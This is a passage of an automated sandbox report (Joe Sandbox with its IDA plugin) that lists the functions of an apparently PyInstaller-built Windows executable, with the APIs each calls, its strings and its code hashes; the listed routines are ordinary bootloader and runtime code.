MoveWindow.USER32 ref: 00007FF62C0F22CB
MoveWindow.USER32 ref: 00007FF62C0F231E
MoveWindow.USER32 ref: 00007FF62C0F2366

Strings

P%, xrefs: 00007FF62C0F21FF

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 46fc1f4ccb1474852cc9f4fe89bbc49f8b1fa66c052088270278482ea0f44b78
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 0351E876604BA186DA349F2AF8181BAB7A1F798B61F004125EFDF83694DF7CD085DB10

Function 00007FF62C0F80C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF62C0F80FF
GetWindowLongPtrW.USER32 ref: 00007FF62C0F817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF62C0F8192
GetLastError.KERNEL32 ref: 00007FF62C0F819C
SetWindowLongPtrW.USER32 ref: 00007FF62C0F81B3

Strings

Needs to remove its temporary files., xrefs: 00007FF62C0F8185

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 58c842badf6d958e47ae5fd5c628e2b6cd9f2abeeaf88c6d44f8f795cbda9130
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: A1219161B09A8286EF458B7EBC491796254FF99FB0F584331DE2EC3394DF6CD590820A

Function 00007FF62C106290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1062D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1066C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10695C

Strings

p, xrefs: 00007FF62C106385
p, xrefs: 00007FF62C1063FD
f, xrefs: 00007FF62C1063F5
:, xrefs: 00007FF62C10648C
-, xrefs: 00007FF62C106369

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: a59d2eb9e0c1bfefa1bdff49e8a6065b577ecdf93e17dd52da3a8f57425589c3
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: BE129471E0C26386FF205B14D95E67976A2FB50770F844136EE8987AC4DF3CE9A08B16

Function 00007FF62C100FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C101008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1013D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10166F

Strings

f, xrefs: 00007FF62C10110A
f, xrefs: 00007FF62C1010A0
p, xrefs: 00007FF62C1010AD
f, xrefs: 00007FF62C101255
p, xrefs: 00007FF62C101112

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: e8a643046ec8364d39d7899dceab3667915c4dda962fd032ec5b0fb8bd0b14bc
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 94128462E0C14386FF245E14EC5A77976A1FB41774FE48135EA9A879C4DF7CE4A08B02

Function 00007FF62C0F1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF62C0F1108
fread, xrefs: 00007FF62C0F11FD
fseek, xrefs: 00007FF62C0F10D3
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62C0F11F6
malloc, xrefs: 00007FF62C0F110F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62C0F10CC
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62C0F1098

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: d867eea9b736dd05fb7db999da78ff363ac8c1b1cc00f418ae9ba02d40a40477
Instruction ID: cfa4bf5834d1cb3063852b2fe82e2636f6180bf66d6db2846a27d932344d0acc
Opcode Fuzzy Hash: d867eea9b736dd05fb7db999da78ff363ac8c1b1cc00f418ae9ba02d40a40477
Instruction Fuzzy Hash: 7141C161B086528AFE00EB1AAC466B96390FF44FE0F444432ED0CC7796DF3DE9818346

Function 00007FF62C0F1470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF62C0F1518
fread, xrefs: 00007FF62C0F15E6
fseek, xrefs: 00007FF62C0F14E5
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62C0F15DF
malloc, xrefs: 00007FF62C0F151F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62C0F14DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62C0F149F

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: b80b08f7cfde0f81c8538706a0795345a627625e20aad4e8d4f4917b79e24954
Instruction ID: 6c1234c1b90261470ee2a4985630d516fa58d74deb0e6636dd3dc29cebe74210
Opcode Fuzzy Hash: b80b08f7cfde0f81c8538706a0795345a627625e20aad4e8d4f4917b79e24954
Instruction Fuzzy Hash: 2F41D261B0C6428AEF01DB25DC421B96390FF84BA4F444432ED4D87B95DF3DE992C74A

Function 00007FF62C0FEA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF62C0FEA65

Part of subcall function 00007FF62C0FF9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF62C0FF9FF
Part of subcall function 00007FF62C0FF9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF62C0FFA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF62C0FEB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF62C0FED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF62C0FEE98

Strings

csm, xrefs: 00007FF62C0FEA7F
csm, xrefs: 00007FF62C0FEB60
csm, xrefs: 00007FF62C0FEAE6

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 722620e8f7bca7ae4c62cb52f5d97fcb6d4cfd0f9f36ee603dd409f7f3c6af98
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: 8ED17032A087818AEF20DF2598413AD77A0FB457A8F140135EE9D97B9ACF39E0D1C746

Function 00007FF62C0F2C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2D63
MessageBoxW.USER32 ref: 00007FF62C0F2D99

Strings

<FormatMessageW failed.>, xrefs: 00007FF62C0F2D70
[PYI-%d:ERROR] , xrefs: 00007FF62C0F2CA6
Error, xrefs: 00007FF62C0F2D8C
%ls: , xrefs: 00007FF62C0F2D22

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: 86ae82494796241eec8c030b2adb68636609e58a481904699e42cec4fd752ebc
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: FE312672B08B4046EF20AB29BC152AA6695BF88BE8F400136EF4DD3759EF3DD546C345

Function 00007FF62C0FDCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDD4D
GetLastError.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDD85
FreeLibrary.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDDF3
GetProcAddress.KERNEL32(?,?,?,00007FF62C0FDF7A,?,?,?,00007FF62C0FDC6C,?,?,?,00007FF62C0FD869), ref: 00007FF62C0FDDFF

Strings

api-ms-, xrefs: 00007FF62C0FDD6D

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 64fc88088f0d49555f460cf314bb8f2f1eacb566aae9c479917a49c5146b055a
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 3E31D421B1A74299EE12DF06AC006B923E4FF58BB4F594535ED1D87384EF3DE484832A

Function 00007FF62C0F6360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

LoadLibrary, xrefs: 00007FF62C0F64AE
Failed to load Python DLL '%ls'., xrefs: 00007FF62C0F64A7
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF62C0F63C7
ucrtbase.dll, xrefs: 00007FF62C0F63DD
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF62C0F6456
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF62C0F6407

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: bd35b640c02035bc0e077a05b147b005ab0e639f37cafda848bc65a29b3ec2f1
Instruction ID: e64f00e6ef61235a7718a6f33f147781fcb48ef12a3d73405ea77d3c2d684b73
Opcode Fuzzy Hash: bd35b640c02035bc0e077a05b147b005ab0e639f37cafda848bc65a29b3ec2f1
Instruction Fuzzy Hash: 0E419221A18A8695EE21EB64EC152E96311FF543A0F800132DE5CC36D5EF7DF689C746

Function 00007FF62C0F2A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF62C0F351A,?,00000000,00007FF62C0F3F1B), ref: 00007FF62C0F2AA0

Strings

Warning [ANSI Fallback], xrefs: 00007FF62C0F2B0F
Warning, xrefs: 00007FF62C0F2B1E
[PYI-%d:%s] , xrefs: 00007FF62C0F2AA8
0, xrefs: 00007FF62C0F2B16
WARNING, xrefs: 00007FF62C0F2AAF

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 6044575e71d00e65264cb3e3816727449ea070c0a7c1d4663241f63a3d3b7f1a
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 9921B272A18B8186EB20DB55BC867E66394FB887E4F400136FE8C83659DF7CD2858745

Function 00007FF62C10B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF62C10B15F
FlsGetValue.KERNEL32 ref: 00007FF62C10B174
FlsSetValue.KERNEL32 ref: 00007FF62C10B195
FlsSetValue.KERNEL32 ref: 00007FF62C10B1C2
FlsSetValue.KERNEL32 ref: 00007FF62C10B1D3
FlsSetValue.KERNEL32 ref: 00007FF62C10B1E4
SetLastError.KERNEL32 ref: 00007FF62C10B1FF

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction ID: 3915a7cde2db868862b4d48efa27c30027c4c8515d8731f4f2ef2bd4d12fe783
Opcode Fuzzy Hash: a42b9cf7ed1ffe71ebcf97f5a72f2c90d2921d4b6bb9ef7954fc9d2fe8c6feaf
Instruction Fuzzy Hash: 57212C24B0C68281FE58A325AE5F13962525F4A7B0F144634DD7EC6ACAEE3DB4608303

Function 00007FF62C117D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF62C117D9D
GetLastError.KERNEL32 ref: 00007FF62C117DA9
CloseHandle.KERNEL32 ref: 00007FF62C117DC1
CreateFileW.KERNEL32 ref: 00007FF62C117DEC
WriteConsoleW.KERNEL32 ref: 00007FF62C117E0B

Strings

CONOUT$, xrefs: 00007FF62C117DCD

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: f5b20213c2993350d6523f7d901f06bbbee1cccb359ffe2672accee5f38b1499
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 8B119321B18A4186EB508B5AFC5A32963A0FF99BF4F040234EA5DC7794DFBCE8148742

Function 00007FF62C0F8ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F8EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F8F5A

Part of subcall function 00007FF62C0F9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62C0F45F4,00000000,00007FF62C0F1985), ref: 00007FF62C0F93C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F8FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F9044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F9055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF62C0F3FA9), ref: 00007FF62C0F906A

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction ID: 44356a712a68c97eadaba6ecb8119595440f666e91318339acc210f2a1d39689
Opcode Fuzzy Hash: 0184f5a771bb2c28f933eba3e4018dda16e38d059dd6d010c17659477659ba58
Instruction Fuzzy Hash: B141D462B1968289EE309B12A8412BA7394FF85BE0F040135DF8D97789DF3EE580C709

Function 00007FF62C10B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B30D
FlsSetValue.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B33A
FlsSetValue.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B34B
FlsSetValue.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B35C
SetLastError.KERNEL32(?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A,?,?,?,?,00007FF62C10718F), ref: 00007FF62C10B377

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
